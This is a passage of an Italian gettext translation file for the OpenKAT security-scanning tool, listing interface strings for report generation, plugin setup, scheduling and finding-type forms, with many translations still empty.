scanned \"\n\"systems. For each finding type it shows the risk level, the number of \"\n\"occurrences and the first known occurrence of the finding. The risk level \"\n\"may be different for your specific environment. The details can be seen when \"\n\"expanding a row. A description, the source, impact and recommendation of the \"\n\"finding can be found here. It also shows in which findings the finding type \"\n\"occurred.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"First known occurrence\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Open in report\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"No critical and high findings have been identified for this organization.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"No findings have been identified for this organization.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Download as PDF\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as JSON\"\nmsgstr \"Scarica come JSON\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Open asset reports\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"This is the OpenKAT report for organization\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"\"\n\"All selected report types for the selected objects are displayed one below \"\n\"the other.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created with data from:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created on:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created from recipe:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Recipe created by:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"This sector contains %(length)s scanned organizations.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Of these organizations\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"organizations have tag\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"The basic security scores are around \"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"A total of %(total)s critical vulnerabilities have been identified.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"Introduction\"\nmsgstr \"Introduzione\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"\"\n\"This report gives an overview of the current state of security for your \"\n\"organisation for the selected date. The summary section provides an overview \"\n\"of the selected systems (objects), plugins and reports. This is followed \"\n\"with the findings for each report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Report names:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input.html\n#: rocky/templates/partials/form/field_input_checkbox.html\n#: rocky/templates/partials/form/field_input_multiselect.html\n#: rocky/templates/partials/form/field_input_radio.html\nmsgid \"Required\"\nmsgstr \"Richiesto\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Add reference date\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Reset\"\nmsgstr \"Reimposta\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"No reference date\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Day\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Week\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Month\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Year\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Select which objects you want to include in your report. You can either \"\n\"continue with a live set or you can select the objects manually from the \"\n\"table below.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"A live set is a set of objects based on the applied filters. Any object that \"\n\"matches this applied filter (now or in the future) will be used as input for \"\n\"the scheduled report. If your live set filter (e.g. 'hostnames' with 'L2 \"\n\"clearance' that are 'declared') shows 2 hostnames that match the filter \"\n\"today, the scheduled report will run for those 2 hostnames. If you add 3 \"\n\"more hostnames tomorrow (with the same filter criteria), your next scheduled \"\n\"report will contain 5 hostnames. Your live set will update as you go.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Based on the current dataset, your selected filters result in the following \"\n\"objects.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"objects selected\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Deselect all objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: rocky/templates/oois/ooi_list.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s objects\"\nmsgstr \"Mostrando %(length)s di %(total)s oggetti\"\n\n#: reports/templates/partials/report_ooi_list.html\n#, python-format\nmsgid \"Select all %(total_oois)s object\"\nmsgid_plural \"Select all %(total_oois)s objects\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object name\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Report(s) may be empty due to no objects in the selected filters.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Reports matching the selected filters will be empty at this moment in time. \"\n\"Future reports may contain data. It is still possible to generate the \"\n\"(potentially empty) report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Continue with live set\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Continue with selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Configuration\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Set up the required plugins for this report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"KAT will be able to generate a full report when all the required and \"\n\"suggested boefjes are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"If you choose not to enable a plugin, the data that plugin would collect or \"\n\"produce will be left out of the report which will then be generated based on \"\n\"the available data collected by the enabled plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"Some plugins are mandatory as they are crucial for a report type. Reports \"\n\"that don't have their requirements met will be skipped.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Warning! Before you proceed read the following points:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"OpenKAT is designed to scan all known objects on a regular basis using the \"\n\"enabled plugins and set clearance levels. This means that scans will run \"\n\"automatically. Be patient; plugins may take some time before they have \"\n\"collected all their data. Enabling them just before report generation will \"\n\"likely result in inaccurate reports, as plugins have not finished collecting \"\n\"data.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All required plugins are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"This report type requires the following plugins to be enabled:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all required plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show enabled plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no required plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All suggested plugins are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"The following plugins are optional to generate the report:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all optional plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Hide suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show more suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no optional plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Enable selected plugins and continue\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"\"\n\"\\n\"\n\"            This overview shows the total number of findings per\\n\"\n\"            severity that have been identified for this organization.\\n\"\n\"        \"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total per severity overview\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Critical\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"High\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Medium\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Low\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Pending\"\nmsgstr \"In attesa\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Unknown\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Used Config Objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Choose report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"\"\n\"Various types of reports, such as DNS reports and TLS reports, are essential \"\n\"for identifying vulnerabilities in different aspects of a system's security. \"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses, while TLS reports assess the security of data encryption and \"\n\"transmission protocols, helping organizations pinpoint areas where security \"\n\"improvements are needed.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"Selected object (%(total_oois)s)\"\nmsgid_plural \"Selected objects (%(total_oois)s)\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"\"\n\"You have selected a live set in the previous step. Based on the current \"\n\"dataset, this live set results in %(total_oois)s objects.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Applied filters:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"You have selected %(total_oois)s object in the previous step.\"\nmsgid_plural \"You have selected %(total_oois)s objects in the previous step.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Change selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Available report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"All report types that are available for your selection.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Toggle all report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/return_button.html\n#, python-format\nmsgid \"%(btn_text)s\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"Delete the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"\"\n\"Deleted reports are removed in the view from the moment of deletion. The \"\n\"report can still be accessed on timestamps before the deletion. Only the \"\n\"report is removed from the view, not the data it is based on.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"\"\n\"It is still possible to generate a new report for same date. If the report \"\n\"is part of a combined report, it will remain available in the combined \"\n\"report.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Reference date\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Disable schedule\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to disable the schedule for <strong>%(report_name)s</\"\n\"strong>? The recipe will still exist and the schedule can be enabled later \"\n\"on.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Rename the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rename\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"Rerun the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"\"\n\"By submitting you're generating the selected reports again, using the \"\n\"current data.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rerun\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"Reports history\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"\"\n\"On this page you can see all the reports that have been generated in the \"\n\"past. To create a new report, click the 'Generate Report' button.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows parent report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Close asset report object details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Open asset report object details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Asset reports details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#, python-format\nmsgid \"\"\n\"This report consists of %(counter)s asset report with the following report \"\n\"type and object:\"\nmsgid_plural \"\"\n\"This report consists of %(counter)s asset reports with the following report \"\n\"types and objects:\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/views/report_overview.py\nmsgid \"Asset reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows asset report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"View all asset reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"No reports have been generated yet.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_header.html\n#: reports/views/base.py rocky/templates/header.html\n#: rocky/templates/tasks/partials/tab_navigation.html\n#: rocky/templates/tasks/reports.html rocky/views/tasks.py\nmsgid \"Reports\"\nmsgstr \"Report\"\n\n#: reports/templates/report_overview/report_overview_header.html\nmsgid \"An overview of reports that are scheduled or have been generated.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Scheduled\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"History\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"Scheduled reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"\"\n\"On this page you can see all the reports that are or have been scheduled. To \"\n\"schedule a report, select a start date and recurrence while generating a \"\n\"report.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s schedules\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled for\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Schedule status\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Once\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recent reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled Reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Show report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"objects\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enable schedule\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"No scheduled reports have been generated yet.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"Back to Reports History\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"An overview of all underlying reports of\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Shows report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Input Object\"\nmsgstr \"Oggetto di Input\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\nmsgid \"Delete report recipe\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#, python-format\nmsgid \"Are you sure you want to delete report recipe \\\"%(name)s\\\"?\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\nmsgid \"\"\n\"Deleting this report recipe means it will be permanently deleted. It will \"\n\"not be possible anymore to see or enable the schedule. You will find \"\n\"previously generated reports in the report history tab.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The objects listed in the table below were used to generate this report. For \"\n\"each object in the table it additionally shows the clearance level and \"\n\"whether or not the object was added by a user ('Declared') or indirectly \"\n\"identified through another service or system ('Inherited').\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No objects found.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The table below shows which reports were chosen to generate this report, \"\n\"including a report description.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No report types found.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"The table below shows all required or optional plugins for the selected \"\n\"reports.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Required and optional plugins\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin enabled\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin options\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin scan level\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Enabled.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"required\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"optional\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin extra info\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"There are no required or optional plugins needed for the selected report \"\n\"types.\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select objects\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select report types\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Export setup\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"Save report\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"You do not have the required permissions to enable plugins.\"\nmsgstr \"\"\n\n#: reports/views/base.py\nmsgid \"Select at least one OOI to proceed.\"\nmsgstr \"\"\n\n#: reports/views/base.py\nmsgid \"Select at least one report type to proceed.\"\nmsgstr \"\"\n\n#: reports/views/mixins.py\nmsgid \"\"\n\"No data could be found for %(report_types). Object(s) did not exist on \"\n\"%(date)s.\"\nmsgstr \"\"\n\n#: reports/views/multi_report.py\nmsgid \"View report\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Not enough permissions\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Recipe '{}' deleted successfully\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Recipe not found.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"No schedule or recipe selected\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Schedule disabled successfully. '{}' will not be generated automatically \"\n\"until the schedule is enabled again.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Schedule enabled successfully. '{}' will be generated according to schedule.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"An unexpected error occurred, please check logs for more info.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Other OOI type selected than Report\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Deletion successful.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Multi organization reports cannot be rescheduled. It consists of imported \"\n\"data from different organizations and is not based on newly generated data.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Rerun successful. It may take a moment before the new report has been \"\n\"generated.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\n#, python-format\nmsgid \"\"\n\"Couldn't rerun %s, since the recipe for this report has been disabled or \"\n\"deleted.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Renaming failed. Empty report name found.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Report names and reports does not match.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Reports successfully renamed.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Report {} could not be renamed.\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"1: Select objects\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"2: Choose report types\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Configuration\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"4: Export setup\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Export setup\"\nmsgstr \"\"\n\n#: tools/forms/base.py\nmsgid \"Date\"\nmsgstr \"Data\"\n\n#: tools/forms/base.py tools/forms/scheduler.py\nmsgid \"The selected date is in the future. Please select a different date.\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"For example: -sTU --top-ports 1000\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"JSON Schema\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Input object type\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Output mime types\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Scan type\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Interval amount\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"\"\n\"Specify the scanning interval for this Boefje. The default is 24 hours. For \"\n\"example: 5 minutes will let the Boefje scan every 5 minutes.\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Interval frequency\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Object creation/change\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"\"\n\"Choose weather the Boefje should run after creating and/or changing an \"\n\"object. \"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"KAT-ID\"\nmsgstr \"KAT-ID\"\n\n#: tools/forms/finding_type.py\nmsgid \"Unique ID within OpenKAT, for this type\"\nmsgstr \"ID univoco all'interno di OpenKAT, per questo tipo\"\n\n#: tools/forms/finding_type.py\nmsgid \"Title\"\nmsgstr \"Titolo\"\n\n#: tools/forms/finding_type.py\nmsgid \"Give the finding type a fitting title\"\nmsgstr \"Dai al tipo di rilevamento un titolo appropriato\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the finding type\"\nmsgstr \"Descrivi il tipo di rilevamento\"\n\n#: tools/forms/finding_type.py\nmsgid \"Risk\"\nmsgstr \"Rischio\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution\"\nmsgstr \"Soluzione\"\n\n#: tools/forms/finding_type.py\nmsgid \"How can this be solved?\"\nmsgstr \"Come può essere risolto questo problema?\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe how this type of finding can be solved\"\nmsgstr \"Descrivi come questo tipo di rilevamento può essere risolto\"\n\n#: tools/forms/finding_type.py\nmsgid \"References\"\nmsgstr \"Riferimenti\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give some references on the solution\"\nmsgstr \"Fornisci alcuni riferimenti sulla soluzione\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give sources and references on the suggested solution\"\nmsgstr \"Fornisci fonti e riferimenti sulla soluzione suggerita\"\n\n#: tools/forms/finding_type.py\nmsgid \"Impact description\"\nmsgstr \"Descrizione dell'impatto\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the solutions impact\"\nmsgstr \"Descrivi l'impatto delle soluzioni\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution chance\"\nmsgstr \"Possibilità di soluzione\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution impact\"\nmsgstr \"Impatto della soluzione\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution effort\"\nmsgstr \"Sforzo richiesto per la soluzione\"\n\n#: tools/forms/finding_type.py\nmsgid \"ID should start with \"\nmsgstr \"L'ID deve iniziare con \"\n\n#: tools/forms/finding_type.py\nmsgid \"Finding type already exists\"\nmsgstr \"Il tipo di rilevamento esiste già\"\n\n#: tools/forms/finding_type.py\nmsgid \"Click to select one of the available options\"\nmsgstr \"Fai clic per selezionare una delle opzioni disponibili\"\n\n#: tools/forms/finding_type.py\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Proof\"\nmsgstr \"Prova\"\n\n#: tools/forms/finding_type.py\nmsgid \"Provide evidence of your finding\"\nmsgstr \"Fornisci evidenza del tuo rilevamento\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe your finding\"\nmsgstr \"Descrivi il tuo rilevamento\"\n\n#: tools/forms/finding_type.py\nmsgid \"Reproduce finding\"\nmsgstr \"Riproduci il rilevamento\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please explain how to reproduce your finding\"\nmsgstr \"Spiega come riprodurre il tuo rilevamento\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Date/Time (UTC)\"\nmsgstr \"Data/Ora (UTC)\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Doc! I'm from the future, I'm here to take you back!\"\nmsgstr \"Dottore! Vengo dal futuro, sono qui per riportarti indietro!\"\n\n#: tools/forms/finding_type.py\nmsgid \"OOI doesn't exist\"\nmsgstr \"L'OOI non esiste\"\n\n#: tools/forms/findings.py\nmsgid \"Show non-muted findings\"\nmsgstr \"Mostra i rilevamenti non mutati\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted findings\"\nmsgstr \"Mostra i rilevamenti mutati\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted and non-muted findings\"\nmsgstr \"Mostra i rilevamenti mutati e non mutati\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by severity\"\nmsgstr \"Filtra per gravità\"\n\n#: 